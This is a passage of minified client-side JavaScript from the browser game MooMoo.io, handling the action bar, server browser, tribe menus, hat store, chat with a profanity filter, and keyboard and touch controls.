3756 Zt(e ? "true" == e : "undefined" != typeof cordova), A = "true" == E("show_ping"), Ie.hidden = !A, E("moo_moosic"), setInterval((function () {
3757 window.cordova && (document.getElementById("downloadButtonContainer").classList.add("cordova"), document.getElementById("mobileDownloadButtonContainer").classList.add("cordova"))
3758 }), 1e3), en(), s.removeAllChildren(Ce);
3759 for (var t = 0; t < l.weapons.length + l.list.length; ++t) ! function (e) {
3760 s.generateElement({
3761 id: "actionBarItem" + e,
3762 class: "actionBarItem",
3763 style: "display:none",
3764 onmouseout: function () {
3765 Tt()
3766 },
3767 parent: Ce
3768 })
3769 }(t);
3770 for (t = 0; t < l.list.length + l.weapons.length; ++t) ! function (e) {
3771 var t = document.createElement("canvas");
3772 t.width = t.height = 66;
3773 var n = t.getContext("2d");
3774 if (n.translate(t.width / 2, t.height / 2), n.imageSmoothingEnabled = !1, n.webkitImageSmoothingEnabled = !1, n.mozImageSmoothingEnabled = !1, l.weapons[e]) {
3775 n.rotate(Math.PI / 4 + Math.PI);
3776 var i = new Image;
3777 Zn[l.weapons[e].src] = i, i.onload = function () {
3778 this.isLoaded = !0;
3779 var i = 1 / (this.height / this.width),
3780 r = l.weapons[e].iPad || 1;
3781 n.drawImage(this, -t.width * r * o.iconPad * i / 2, -t.height * r * o.iconPad / 2, t.width * r * i * o.iconPad, t.height * r * o.iconPad), n.fillStyle = "rgba(0, 0, 70, 0.1)", n.globalCompositeOperation = "source-atop", n.fillRect(-t.width / 2, -t.height / 2, t.width, t.height), document.getElementById("actionBarItem" + e).style.backgroundImage = "url(" + t.toDataURL() + ")"
3782 }, i.src = ".././img/weapons/" + l.weapons[e].src + ".png", (r = document.getElementById("actionBarItem" + e)).onmouseover = s.checkTrusted((function () {
3783 Tt(l.weapons[e], !0)
3784 })), r.onclick = s.checkTrusted((function () {
3785 Sn(e, !0)
3786 })), s.hookTouchEvents(r)
3787 } else {
3788 i = ri(l.list[e - l.weapons.length], !0);
3789 var r, a = Math.min(t.width - o.iconPadding, i.width);
3790 n.globalAlpha = 1, n.drawImage(i, -a / 2, -a / 2, a, a), n.fillStyle = "rgba(0, 0, 70, 0.1)", n.globalCompositeOperation = "source-atop", n.fillRect(-a / 2, -a / 2, a, a), document.getElementById("actionBarItem" + e).style.backgroundImage = "url(" + t.toDataURL() + ")", (r = document.getElementById("actionBarItem" + e)).onmouseover = s.checkTrusted((function () {
3791 Tt(l.list[e - l.weapons.length])
3792 })), r.onclick = s.checkTrusted((function () {
3793 Sn(e - l.weapons.length)
3794 })), s.hookTouchEvents(r)
3795 }
3796 }(t);
3797 Le.ontouchstart = s.checkTrusted((function (e) {
3798 e.preventDefault();
3799 var t = prompt("enter name", e.currentTarget.value);
3800 e.currentTarget.value = t.slice(0, 15)
3801 })), Se.checked = M, Se.onchange = s.checkTrusted((function (e) {
3802 Zt(e.target.checked)
3803 })), Te.checked = A, Te.onchange = s.checkTrusted((function (e) {
3804 A = Te.checked, Ie.hidden = !A, I("show_ping", A ? "true" : "false")
3805 }))
3806 }())
3807 }), {
3808 id: st,
3809 d: ft,
3810 1: En,
3811 2: vi,
3812 4: wi,
3813 33: Ti,
3814 5: Ln,
3815 6: li,
3816 a: gi,
3817 aa: pi,
3818 7: Wn,
3819 8: hi,
3820 sp: ui,
3821 9: xi,
3822 h: Si,
3823 11: Pn,
3824 12: Cn,
3825 13: Bn,
3826 14: bi,
3827 15: Dn,
3828 16: Un,
3829 17: $t,
3830 18: fi,
3831 19: di,
3832 20: Ci,
3833 ac: Ot,
3834 ad: _t,
3835 an: Bt,
3836 st: Rt,
3837 sa: jt,
3838 us: Nt,
3839 ch: hn,
3840 mm: Wt,
3841 t: Mn,
3842 p: Yt,
3843 pp: Pi
3844 }), pt(), setTimeout(() => gt(), 3e3)
3845 }), (function (e) {
3846 console.error("Vultr error:", e), alert("Error:\n" + e), ft("disconnected")
3847 }))
3848 }
3849 var b, x = new g(o, s),
3850 S = Math.PI,
3851 T = 2 * S;
3852
3853 function I(e, t) {
3854 b && localStorage.setItem(e, t)
3855 }
3856
3857 function E(e) {
3858 return b ? localStorage.getItem(e) : null
3859 }
3860 Math.lerpAngle = function (e, t, n) {
3861 Math.abs(t - e) > S && (e > t ? t += T : e += T);
3862 var i = t + (e - t) * n;
3863 return i >= 0 && i <= T ? i : i % T
3864 }, CanvasRenderingContext2D.prototype.roundRect = function (e, t, n, i, r) {
3865 return n < 2 * r && (r = n / 2), i < 2 * r && (r = i / 2), r < 0 && (r = 0), this.beginPath(), this.moveTo(e + r, t), this.arcTo(e + n, t, e + n, t + i, r), this.arcTo(e + n, t + i, e, t + i, r), this.arcTo(e, t + i, e, t, r), this.arcTo(e, t, e + n, t, r), this.closePath(), this
3866 }, "undefined" != typeof Storage && (b = !0), E("consent") || (consentBlock.style.display = "block"), window.checkTerms = function (e) {
3867 e ? (consentBlock.style.display = "none", I("consent", 1)) : $("#consentShake").effect("shake")
3868 };
3869 var M, A, P, B, C, O, R, j, _, U, D, L, F, z, H = E("moofoll"),
3870 V = 1,
3871 q = Date.now(),
3872 Y = [],
3873 W = [],
3874 X = [],
3875 N = [],
3876 G = [],
3877 J = new p(d, G, W, Y, nt, l, o, s),
3878 K = n(70),
3879 Q = n(71),
3880 Z = new K(Y, Q, W, l, null, o, s),
3881 ee = 1,
3882 te = 0,
3883 ne = 0,
3884 ie = 0,
3885 re = {
3886 id: -1,
3887 startX: 0,
3888 startY: 0,
3889 currentX: 0,
3890 currentY: 0
3891 },
3892 se = {
3893 id: -1,
3894 startX: 0,
3895 startY: 0,
3896 currentX: 0,
3897 currentY: 0
3898 },
3899 ae = 0,
3900 oe = o.maxScreenWidth,
3901 ce = o.maxScreenHeight,
3902 le = !1,
3903 he = (document.getElementById("ad-container"), document.getElementById("mainMenu")),
3904 ue = document.getElementById("enterGame"),
3905 fe = document.getElementById("promoImg"),
3906 de = document.getElementById("partyButton"),
3907 pe = document.getElementById("joinPartyButton"),
3908 ge = document.getElementById("settingsButton"),
3909 me = ge.getElementsByTagName("span")[0],
3910 ye = document.getElementById("allianceButton"),
3911 ke = document.getElementById("storeButton"),
3912 ve = document.getElementById("chatButton"),
3913 we = document.getElementById("gameCanvas"),
3914 be = we.getContext("2d"),
3915 xe = document.getElementById("serverBrowser"),
3916 Se = document.getElementById("nativeResolution"),
3917 Te = document.getElementById("showPing"),
3918 Ie = (document.getElementById("playMusic"), document.getElementById("pingDisplay")),
3919 Ee = document.getElementById("shutdownDisplay"),
3920 Me = document.getElementById("menuCardHolder"),
3921 Ae = document.getElementById("guideCard"),
3922 Pe = document.getElementById("loadingText"),
3923 Be = document.getElementById("gameUI"),
3924 Ce = document.getElementById("actionBar"),
3925 Oe = document.getElementById("scoreDisplay"),
3926 Re = document.getElementById("foodDisplay"),
3927 je = document.getElementById("woodDisplay"),
3928 _e = document.getElementById("stoneDisplay"),
3929 Ue = document.getElementById("killCounter"),
3930 De = document.getElementById("leaderboardData"),
3931 Le = document.getElementById("nameInput"),
3932 Fe = document.getElementById("itemInfoHolder"),
3933 ze = document.getElementById("ageText"),
3934 He = document.getElementById("ageBarBody"),
3935 Ve = document.getElementById("upgradeHolder"),
3936 qe = document.getElementById("upgradeCounter"),
3937 Ye = document.getElementById("allianceMenu"),
3938 We = document.getElementById("allianceHolder"),
3939 Xe = document.getElementById("allianceManager"),
3940 Ne = document.getElementById("mapDisplay"),
3941 Ge = document.getElementById("diedText"),
3942 Je = document.getElementById("skinColorHolder"),
3943 Ke = Ne.getContext("2d");
3944 Ne.width = 300, Ne.height = 300;
3945 var Qe = document.getElementById("storeMenu"),
3946 $e = document.getElementById("storeHolder"),
3947 Ze = document.getElementById("noticationDisplay"),
3948 et = f.hats,
3949 tt = f.accessories,
3950 nt = new h(c, N, s, o),
3951 it = "#525252",
3952 rt = "#3d3f42";
3953
3954 function st(e) {
3955 X = e.teams
3956 }
3957 var at = document.getElementById("featuredYoutube"),
3958 ot = [{
3959 name: "Corrupt X",
3960 link: "https://www.youtube.com/channel/UC0UH2LfQvBSeH24bmtbmITw"
3961 }, {
3962 name: "Tweak Big",
3963 link: "https://www.youtube.com/channel/UCbwvzJ38AndDTkoX8sD9YOw"
3964 }, {
3965 name: "Arena Closer",
3966 link: "https://www.youtube.com/channel/UCazucVSJqW-kiHMIhQhD-QQ"
3967 }, {
3968 name: "Godenot",
3969 link: "https://www.youtube.com/user/SirGodenot"
3970 }, {
3971 name: "RajNoobTV",
3972 link: "https://www.youtube.com/channel/UCVLo9brXBWrCttMaGzvm0-Q"
3973 }, {
3974 name: "TomNotTom",
3975 link: "https://www.youtube.com/channel/UC7z97RgHFJRcv2niXgArBDw"
3976 }, {
3977 name: "Nation",
3978 link: "https://www.youtube.com/channel/UCSl-MBn3qzjrIvLNESQRk-g"
3979 }, {
3980 name: "Pidyohago",
3981 link: "https://www.youtube.com/channel/UC04p8Mg8nDaDx04A9is2B8Q"
3982 }, {
3983 name: "Enigma",
3984 link: "https://www.youtube.com/channel/UC5HhLbs3sReHo8Bb9NDdFrg"
3985 }, {
3986 name: "Bauer",
3987 link: "https://www.youtube.com/channel/UCwU2TbJx3xTSlPqg-Ix3R1g"
3988 }, {
3989 name: "iStealth",
3990 link: "https://www.youtube.com/channel/UCGrvlEOsQFViZbyFDE6t69A"
3991 }, {
3992 name: "SICKmania",
3993 link: "https://www.youtube.com/channel/UCvVI98ezn4TpX5wDMZjMa3g"
3994 }, {
3995 name: "LightThief",
3996 link: "https://www.youtube.com/channel/UCj6C_tiDeATiKd3GX127XoQ"
3997 }, {
3998 name: "Fortish",
3999 link: "https://www.youtube.com/channel/UCou6CLU-szZA3Tb340TB9_Q"
4000 }, {
4001 name: "巧克力",
4002 link: "https://www.youtube.com/channel/UCgL6J6oL8F69vm-GcPScmwg"
4003 }, {
4004 name: "i Febag",
4005 link: "https://www.youtube.com/channel/UCiU6WZwiKbsnt5xmwr0OFbg"
4006 }, {
4007 name: "GoneGaming",
4008 link: "https://www.youtube.com/channel/UCOcQthRanYcwYY0XVyVeK0g"
4009 }],
4010 ct = ot[s.randInt(0, ot.length - 1)];
4011 at.innerHTML = "<a target='_blank' class='ytLink' href='" + ct.link + "'><i class='material-icons' style='vertical-align: top;'></i> " + ct.name + "</a>";
4012 var lt = !0,
4013 ht = !1,
4014 ut = !1;
4015
4016 function ft(e) {
4017 r.close(), dt(e)
4018 }
4019
4020 function dt(e) {
4021 he.style.display = "block", Be.style.display = "none", Me.style.display = "none", Ge.style.display = "none", Pe.style.display = "block", Pe.innerHTML = e + "<a href='javascript:window.location.href=window.location.href' class='ytLink'>reload</a>"
4022 }
4023 window.onblur = function () {
4024 lt = !1
4025 }, window.onfocus = function () {
4026 lt = !0, R && R.alive && yn()
4027 }, window.onload = function () {
4028 ht = !0, v(), setTimeout((function () {
4029 k || (alert("Captcha failed to load"), window.location.reload())
4030 }), 2e4)
4031 }, window.captchaCallback = function () {
4032 ut = !0, v()
4033 }, we.oncontextmenu = function () {
4034 return !1
4035 };
4036
4037 function pt() {
4038 var e, t, n = "",
4039 i = 0;
4040 for (var r in y.servers) {
4041 for (var s = y.servers[r], a = 0, c = 0; c < s.length; c++)
4042 for (var l = 0; l < s[c].games.length; l++) a += s[c].games[l].playerCount;
4043 i += a;
4044 var h = y.regionInfo[r].name;
4045 n += "<option disabled>" + h + " - " + a + " players</option>";
4046 for (var u = 0; u < s.length; u++)
4047 for (var f = s[u], d = 0; d < f.games.length; d++) {
4048 var p = f.games[d],
4049 g = 1 * f.index + d + 1,
4050 m = y.server && y.server.region === f.region && y.server.index === f.index && y.gameIndex == d,
4051 k = h + " " + g + " [" + Math.min(p.playerCount, o.maxPlayers) + "/" + o.maxPlayers + "]";
4052 let e = y.stripRegion(r) + ":" + u + ":" + d;
4053 m && (de.getElementsByTagName("span")[0].innerText = e), n += "<option value='" + e + "' " + (m ? "selected" : "") + ">" + k + "</option>"
4054 }
4055 n += "<option disabled></option>"
4056 }
4057 n += "<option disabled>All Servers - " + i + " players</option>", xe.innerHTML = n, "sandbox.moomoo.io" == location.hostname ? (e = "Back to MooMoo", t = "//moomoo.io/") : (e = "Try the sandbox", t = "//sandbox.moomoo.io/"), document.getElementById("altServer").innerHTML = "<a href='" + t + "'>" + e + "<i class='material-icons' style='font-size:10px;vertical-align:middle'>arrow_forward_ios</i></a>"
4058 }
4059
4060 function gt() {
4061 var e = new XMLHttpRequest;
4062 e.onreadystatechange = function () {
4063 4 == this.readyState && (200 == this.status ? (window.vultr = JSON.parse(this.responseText), y.processServers(vultr.servers), pt()) : console.error("Failed to load server data with status code:", this.status))
4064 }, e.open("GET", "/serverData", !0), e.send()
4065 }
4066 xe.addEventListener("change", s.checkTrusted((function () {
4067 let e = xe.value.split(":");
4068 y.switchServer(e[0], e[1], e[2])
4069 })));
4070 var mt = document.getElementById("pre-content-container"),
4071 yt = null,
4072 kt = null;
4073 window.cpmstarAPI((function (e) {
4074 e.game.setTarget(mt), kt = e
4075 }));
4076 var vt = 3e5,
4077 wt = 0,
4078 bt = 0;
4079
4080 function xt() {
4081 if (!cpmstarAPI || !kt) return console.log("Failed to load video ad API", !!cpmstarAPI, !!kt), void Tn();
4082 (yt = new kt.game.RewardedVideoView("rewardedvideo")).addEventListener("ad_closed", (function (e) {
4083 console.log("Video ad closed"), St()
4084 })), yt.addEventListener("loaded", (function (e) {
4085 console.log("Video ad loaded"), yt.show()
4086 })), yt.addEventListener("load_failed", (function (e) {
4087 console.log("Video ad load failed", e), St()
4088 })), yt.load(), mt.style.display = "block"
4089 }
4090
4091 function St() {
4092 mt.style.display = "none", Tn()
4093 }
4094
4095 function Tt(e, t, n) {
4096 if (R && e)
4097 if (s.removeAllChildren(Fe), Fe.classList.add("visible"), s.generateElement({
4098 id: "itemInfoName",
4099 text: s.capitalizeFirst(e.name),
4100 parent: Fe
4101 }), s.generateElement({
4102 id: "itemInfoDesc",
4103 text: e.desc,
4104 parent: Fe
4105 }), n);
4106 else if (t) s.generateElement({
4107 class: "itemInfoReq",
4108 text: e.type ? "secondary" : "primary",
4109 parent: Fe
4110 });
4111 else {
4112 for (var i = 0; i < e.req.length; i += 2) s.generateElement({
4113 class: "itemInfoReq",
4114 html: e.req[i] + "<span class='itemInfoReqVal'> x" + e.req[i + 1] + "</span>",
4115 parent: Fe
4116 });
4117 e.group.limit && s.generateElement({
4118 class: "itemInfoLmt",
4119 text: (R.itemCounts[e.group.id] || 0) + "/" + e.group.limit,
4120 parent: Fe
4121 })
4122 } else Fe.classList.remove("visible")
4123 }
4124 window.showPreAd = xt;
4125 var It, Et, Mt, At = [],
4126 Pt = [];
4127
4128 function Bt(e, t) {
4129 At.push({
4130 sid: e,
4131 name: t
4132 }), Ct()
4133 }
4134
4135 function Ct() {
4136 if (At[0]) {
4137 var e = At[0];
4138 s.removeAllChildren(Ze), Ze.style.display = "block", s.generateElement({
4139 class: "notificationText",
4140 text: e.name,
4141 parent: Ze
4142 }), s.generateElement({
4143 class: "notifButton",
4144 html: "<i class='material-icons' style='font-size:28px;color:#cc5151;'></i>",
4145 parent: Ze,
4146 onclick: function () {
4147 Dt(0)
4148 },
4149 hookTouch: !0
4150 }), s.generateElement({
4151 class: "notifButton",
4152 html: "<i class='material-icons' style='font-size:28px;color:#8ecc51;'></i>",
4153 parent: Ze,
4154 onclick: function () {
4155 Dt(1)
4156 },
4157 hookTouch: !0
4158 })
4159 } else Ze.style.display = "none"
4160 }
4161
4162 function Ot(e) {
4163 X.push(e), "block" == Ye.style.display && Ut()
4164 }
4165
4166 function Rt(e, t) {
4167 R && (R.team = e, R.isOwner = t, "block" == Ye.style.display && Ut())
4168 }
4169
4170 function jt(e) {
4171 Pt = e, "block" == Ye.style.display && Ut()
4172 }
4173
4174 function _t(e) {
4175 for (var t = X.length - 1; t >= 0; t--) X[t].sid == e && X.splice(t, 1);
4176 "block" == Ye.style.display && Ut()
4177 }
4178
4179 function Ut() {
4180 if (R && R.alive) {
4181 if (an(), Qe.style.display = "none", Ye.style.display = "block", s.removeAllChildren(We), R.team)
4182 for (var e = 0; e < Pt.length; e += 2) ! function (e) {
4183 var t = s.generateElement({
4184 class: "allianceItem",
4185 style: "color:" + (Pt[e] == R.sid ? "#fff" : "rgba(255,255,255,0.6)"),
4186 text: Pt[e + 1],
4187 parent: We
4188 });
4189 R.isOwner && Pt[e] != R.sid && s.generateElement({
4190 class: "joinAlBtn",
4191 text: "Kick",
4192 onclick: function () {
4193 Lt(Pt[e])
4194 },
4195 hookTouch: !0,
4196 parent: t
4197 })
4198 }(e);
4199 else if (X.length)
4200 for (e = 0; e < X.length; ++e) ! function (e) {
4201 var t = s.generateElement({
4202 class: "allianceItem",
4203 style: "color:" + (X[e].sid == R.team ? "#fff" : "rgba(255,255,255,0.6)"),
4204 text: X[e].sid,
4205 parent: We
4206 });
4207 s.generateElement({
4208 class: "joinAlBtn",
4209 text: "Join",
4210 onclick: function () {
4211 Ft(e)
4212 },
4213 hookTouch: !0,
4214 parent: t
4215 })
4216 }(e);
4217 else s.generateElement({
4218 class: "allianceItem",
4219 text: "No Tribes Yet",
4220 parent: We
4221 });
4222 s.removeAllChildren(Xe), R.team ? s.generateElement({
4223 class: "allianceButtonM",
4224 style: "width: 360px",
4225 text: R.isOwner ? "Delete Tribe" : "Leave Tribe",
4226 onclick: function () {
4227 Ht()
4228 },
4229 hookTouch: !0,
4230 parent: Xe
4231 }) : (s.generateElement({
4232 tag: "input",
4233 type: "text",
4234 id: "allianceInput",
4235 maxLength: 7,
4236 placeholder: "unique name",
4237 ontouchstart: function (e) {
4238 e.preventDefault();
4239 var t = prompt("unique name", e.currentTarget.value);
4240 e.currentTarget.value = t.slice(0, 7)
4241 },
4242 parent: Xe
4243 }), s.generateElement({
4244 tag: "div",
4245 class: "allianceButtonM",
4246 style: "width: 140px;",
4247 text: "Create",
4248 onclick: function () {
4249 zt()
4250 },
4251 hookTouch: !0,
4252 parent: Xe
4253 }))
4254 }
4255 }
4256
4257 function Dt(e) {
4258 r.send("11", At[0].sid, e), At.splice(0, 1), Ct()
4259 }
4260
4261 function Lt(e) {
4262 r.send("12", e)
4263 }
4264
4265 function Ft(e) {
4266 r.send("10", X[e].sid)
4267 }
4268
4269 function zt() {
4270 r.send("8", document.getElementById("allianceInput").value)
4271 }
4272
4273 function Ht() {
4274 At = [], Ct(), r.send("9")
4275 }
4276 var Vt, qt = [];
4277
4278 function Yt(e, t) {
4279 for (var n = 0; n < qt.length; ++n)
4280 if (!qt[n].active) {
4281 Vt = qt[n];
4282 break
4283 } Vt || (Vt = new function () {
4284 this.init = function (e, t) {
4285 this.scale = 0, this.x = e, this.y = t, this.active = !0
4286 }, this.update = function (e, t) {
4287 this.active && (this.scale += .05 * t, this.scale >= o.mapPingScale ? this.active = !1 : (e.globalAlpha = 1 - Math.max(0, this.scale / o.mapPingScale), e.beginPath(), e.arc(this.x / o.mapScale * Ne.width, this.y / o.mapScale * Ne.width, this.scale, 0, 2 * Math.PI), e.stroke()))
4288 }
4289 }, qt.push(Vt)), Vt.init(e, t)
4290 }
4291
4292 function Wt(e) {
4293 Et = e
4294 }
4295 var Xt = 0;
4296
4297 function Nt(e, t, n) {
4298 n ? e ? R.tailIndex = t : R.tails[t] = 1 : e ? R.skinIndex = t : R.skins[t] = 1, "block" == Qe.style.display && Gt()
4299 }
4300
4301 function Gt() {
4302 if (R) {
4303 s.removeAllChildren($e);
4304 for (var e = Xt, t = e ? tt : et, n = 0; n < t.length; ++n) t[n].dontSell || function (n) {
4305 var i = s.generateElement({
4306 id: "storeDisplay" + n,
4307 class: "storeItem",
4308 onmouseout: function () {
4309 Tt()
4310 },
4311 onmouseover: function () {
4312 Tt(t[n], !1, !0)
4313 },
4314 parent: $e
4315 });
4316 s.hookTouchEvents(i, !0), s.generateElement({
4317 tag: "img",
4318 class: "hatPreview",
4319 src: "../img/" + (e ? "accessories/access_" : "hats/hat_") + t[n].id + (t[n].topSprite ? "_p" : "") + ".png",
4320 parent: i
4321 }), s.generateElement({
4322 tag: "span",
4323 text: t[n].name,
4324 parent: i
4325 }), (e ? R.tails[t[n].id] : R.skins[t[n].id]) ? (e ? R.tailIndex : R.skinIndex) == t[n].id ? s.generateElement({
4326 class: "joinAlBtn",
4327 style: "margin-top: 5px",
4328 text: "Unequip",
4329 onclick: function () {
4330 Jt(0, e)
4331 },
4332 hookTouch: !0,
4333 parent: i
4334 }) : s.generateElement({
4335 class: "joinAlBtn",
4336 style: "margin-top: 5px",
4337 text: "Equip",
4338 onclick: function () {
4339 Jt(t[n].id, e)
4340 },
4341 hookTouch: !0,
4342 parent: i
4343 }) : (s.generateElement({
4344 class: "joinAlBtn",
4345 style: "margin-top: 5px",
4346 text: "Buy",
4347 onclick: function () {
4348 Kt(t[n].id, e)
4349 },
4350 hookTouch: !0,
4351 parent: i
4352 }), s.generateElement({
4353 tag: "span",
4354 class: "itemPrice",
4355 text: t[n].price,
4356 parent: i
4357 }))
4358 }(n)
4359 }
4360 }
4361
4362 function Jt(e, t) {
4363 r.send("13c", 0, e, t)
4364 }
4365
4366 function Kt(e, t) {
4367 r.send("13c", 1, e, t)
4368 }
4369
4370 function Qt() {
4371 Qe.style.display = "none", Ye.style.display = "none", an()
4372 }
4373
4374 function $t(e, t) {
4375 e && (t ? R.weapons = e : R.items = e);
4376 for (var n = 0; n < l.list.length; ++n) {
4377 var i = l.weapons.length + n;
4378 document.getElementById("actionBarItem" + i).style.display = R.items.indexOf(l.list[n].id) >= 0 ? "inline-block" : "none"
4379 }
4380 for (n = 0; n < l.weapons.length; ++n) document.getElementById("actionBarItem" + n).style.display = R.weapons[l.weapons[n].type] == l.weapons[n].id ? "inline-block" : "none"
4381 }
4382
4383 function Zt(e) {
4384 M = e, V = e && window.devicePixelRatio || 1, Se.checked = e, I("native_resolution", e.toString()), un()
4385 }
4386
4387 function en() {
4388 for (var e = "", t = 0; t < o.skinColors.length; ++t) e += t == ae ? "<div class='skinColorItem activeSkin' style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>" : "<div class='skinColorItem' style='background-color:" + o.skinColors[t] + "' onclick='selectSkinColor(" + t + ")'></div>";
4389 Je.innerHTML = e
4390 }
4391 var tn = document.getElementById("chatBox"),
4392 nn = document.getElementById("chatHolder");
4393
4394 function rn() {
4395 on ? setTimeout((function () {
4396 var e = prompt("chat message");
4397 e && sn(e)
4398 }), 1) : "block" == nn.style.display ? (tn.value && sn(tn.value), an()) : (Qe.style.display = "none", Ye.style.display = "none", nn.style.display = "block", tn.focus(), yn()), tn.value = ""
4399 }
4400
4401 function sn(e) {
4402 r.send("ch", e.slice(0, 30))
4403 }
4404
4405 function an() {
4406 tn.value = "", nn.style.display = "none"
4407 }
4408 var on, cn, ln = ["cunt", "whore", "fuck", "shit", "faggot", "nigger", "nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis", "clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn", "bitch", "dick", "fag", "bastard"];
4409
4410 function hn(e, t) {
4411 var n = Ii(e);
4412 n && (n.chatMessage = function (e) {
4413 for (var t, n = 0; n < ln.length; ++n)
4414 if (e.indexOf(ln[n]) > -1) {
4415 t = "";
4416 for (var i = 0; i < ln[n].length; ++i) t += t.length ? "o" : "M";
4417 var r = new RegExp(ln[n], "g");
4418 e = e.replace(r, t)
4419 } return e
4420 }(t), n.chatCountdown = o.chatCountdown)
4421 }
4422
4423 function un() {
4424 F = window.innerWidth, z = window.innerHeight;
4425 var e = Math.max(F / oe, z / ce) * V;
4426 we.width = F * V, we.height = z * V, we.style.width = F + "px", we.style.height = z + "px", be.setTransform(e, 0, 0, e, (F * V - oe * e) / 2, (z * V - ce * e) / 2)
4427 }
4428
4429 function fn(e) {
4430 (on = e) ? Ae.classList.add("touch"): Ae.classList.remove("touch")
4431 }
4432
4433 function dn(e) {
4434 e.preventDefault(), e.stopPropagation(), fn(!0);
4435 for (var t = 0; t < e.changedTouches.length; t++) {
4436 var n = e.changedTouches[t];
4437 n.identifier == re.id ? (re.id = -1, bn()) : n.identifier == se.id && (se.id = -1, R.buildIndex >= 0 && (O = 1, vn()), O = 0, vn())
4438 }
4439 }
4440
4441 function pn() {
4442 return R ? (-1 != se.id ? cn = Math.atan2(se.currentY - se.startY, se.currentX - se.startX) : R.lockDir || on || (cn = Math.atan2(ie - z / 2, ne - F / 2)), s.fixTo(cn || 0, 2)) : 0
4443 }
4444 window.addEventListener("resize", s.checkTrusted(un)), un(), fn(!1), window.setUsingTouch = fn, we.addEventListener("touchmove", s.checkTrusted((function (e) {
4445 e.preventDefault(), e.stopPropagation(), fn(!0);
4446 for (var t = 0; t < e.changedTouches.length; t++) {
4447 var n = e.changedTouches[t];
4448 n.identifier == re.id ? (re.currentX = n.pageX, re.currentY = n.pageY, bn()) : n.identifier == se.id && (se.currentX = n.pageX, se.currentY = n.pageY, O = 1)
4449 }
4450 })), !1), we.addEventListener("touchstart", s.checkTrusted((function (e) {
4451 e.preventDefault(), e.stopPropagation(), fn(!0);
4452 for (var t = 0; t < e.changedTouches.length; t++) {
4453 var n = e.changedTouches[t];
4454 n.pageX < document.body.scrollWidth / 2 && -1 == re.id ? (re.id = n.identifier, re.startX = re.currentX = n.pageX, re.startY = re.currentY = n.pageY, bn()) : n.pageX > document.body.scrollWidth / 2 && -1 == se.id && (se.id = n.identifier, se.startX = se.currentX = n.pageX, se.startY = se.currentY = n.pageY, R.buildIndex < 0 && (O = 1, vn()))
4455 }
4456 })), !1), we.addEventListener("touchend", s.checkTrusted(dn), !1), we.addEventListener("touchcancel", s.checkTrusted(dn), !1), we.addEventListener("touchleave", s.checkTrusted(dn), !1), we.addEventListener("mousemove", (function (e) {
4457 e.preventDefault(), e.stopPropagation(), fn(!1), ne = e.clientX, ie = e.clientY
4458 }), !1), we.addEventListener("mousedown", (function (e) {
4459 fn(!1), 1 != O && (O = 1, vn())
4460 }), !1), we.addEventListener("mouseup", (function (e) {
4461 fn(!1), 0 != O && (O = 0, vn())
4462 }), !1);
4463 var gn = {},
4464 mn = {
4465 87: [0, -1],
4466 38: [0, -1],
4467 83: [0, 1],
4468 40: [0, 1],
4469 65: [-1, 0],
4470 37: [-1, 0],
4471 68: [1, 0],
4472 39: [1, 0]
4473 };
4474
4475 function yn() {
4476 gn = {}, r.send("rmd")
4477 }
4478
4479 function kn() {
4480 return "block" != Ye.style.display && "block" != nn.style.display
4481 }
4482
4483 function vn() {
4484 R && R.alive && r.send("c", O, R.buildIndex >= 0 ? pn() : null)
4485 }
4486 window.addEventListener("keydown", s.checkTrusted((function (e) {
4487 var t = e.which || e.keyCode || 0;
4488 27 == t ? Qt() : R && R.alive && kn() && (gn[t] || (gn[t] = 1, 69 == t ? r.send("7", 1) : 67 == t ? (Mt || (Mt = {}), Mt.x = R.x, Mt.y = R.y) : 88 == t ? (R.lockDir = R.lockDir ? 0 : 1, r.send("7", 0)) : null != R.weapons[t - 49] ? Sn(R.weapons[t - 49], !0) : null != R.items[t - 49 - R.weapons.length] ? Sn(R.items[t - 49 - R.weapons.length]) : 81 == t ? Sn(R.items[0]) : 82 == t ? xn() : mn[t] ? bn() : 32 == t && (O = 1, vn())))
4489 }))), window.addEventListener("keyup", s.checkTrusted((function (e) {
4490 if (R && R.alive) {
4491 var t = e.which || e.keyCode || 0;
4492 13 == t ? rn() : kn() && gn[t] && (gn[t] = 0, mn[t] ? bn() : 32 == t && (O = 0, vn()))
4493 }
4494 })));
4495 var wn = void 0;
4496
4497 function bn() {
4498 var e = function () {
4499 var e = 0,
4500 t = 0;
4501 if (-1 != re.id) e += re.currentX - re.startX, t += re.currentY - re.startY;
4502 else
4503 for (var n in mn) {
4504 var i = mn[n];
4505 e += !!gn[n] * i[0], t += !!gn[n] * i[1]
4506 }
4507 return 0 == e && 0 == t ? void 0 : s.fixTo(Math.atan2(t, e), 2)
4508 }();
4509 (null == wn || null == e || Math.abs(e - wn) > .3) && (r.send("33", e), wn = e)
4510 }
4511
4512 function xn() {
4513 r.send("14", 1)
4514 }
4515
4516 function Sn(e, t) {
4517 r.send("5", e, t)
4518 }
4519
4520 function Tn() {
4521 I("moo_name", Le.value), !le && r.connected && (le = !0, x.stop("menu"), dt("Loading..."), r.send("sp", {
4522 name: Le.value,
4523 moofoll: 1,
4524 skin: ae
4525 }))
4526 }
4527 var In = !0;
4528
4529 function En(e) {
4530 Pe.style.display = "none", Me.style.display = "block", he.style.display = "none", gn = {}, j = e, O = 0, le = !0, In && (In = !1, N.length = 0)
4531 }
4532
4533 function Mn(e, t, n, i) {
4534 m.showText(e, t, 50, .18, 500, Math.abs(n), n >= 0 ? "#fff" : "#8ecc51")
4535 }
4536 var An = 99999;
4537
4538 function Pn() {
4539 le = !1;
4540 try {
4541 factorem.refreshAds([2], !0)
4542 } catch (e) {}
4543 Be.style.display = "none", Qt(), It = {
4544 x: R.x,
4545 y: R.y
4546 }, Pe.style.display = "none", Ge.style.display = "block", Ge.style.fontSize = "0px", An = 0, setTimeout((function () {
4547 Me.style.display = "block", he.style.display = "block", Ge.style.display = "none"
4548 }), o.deathFadeout), gt()
4549 }
4550
4551 function Bn(e) {
4552 R && nt.removeAllItems(e)
4553 }
4554
4555 function Cn(e) {
4556 nt.disableBySid(e)
4557 }
4558
4559 function On() {
4560 Oe.innerText = R.points, Re.innerText = R.food, je.innerText = R.wood, _e.innerText = R.stone, Ue.innerText = R.kills
4561 }
4562 var Rn = {},
4563 jn = ["crown", "skull"],
4564 _n = [];
4565
4566 function Un(e, t) {
4567 if (R.upgradePoints = e, R.upgrAge = t, e > 0) {
4568 _n.length = 0, s.removeAllChildren(Ve);
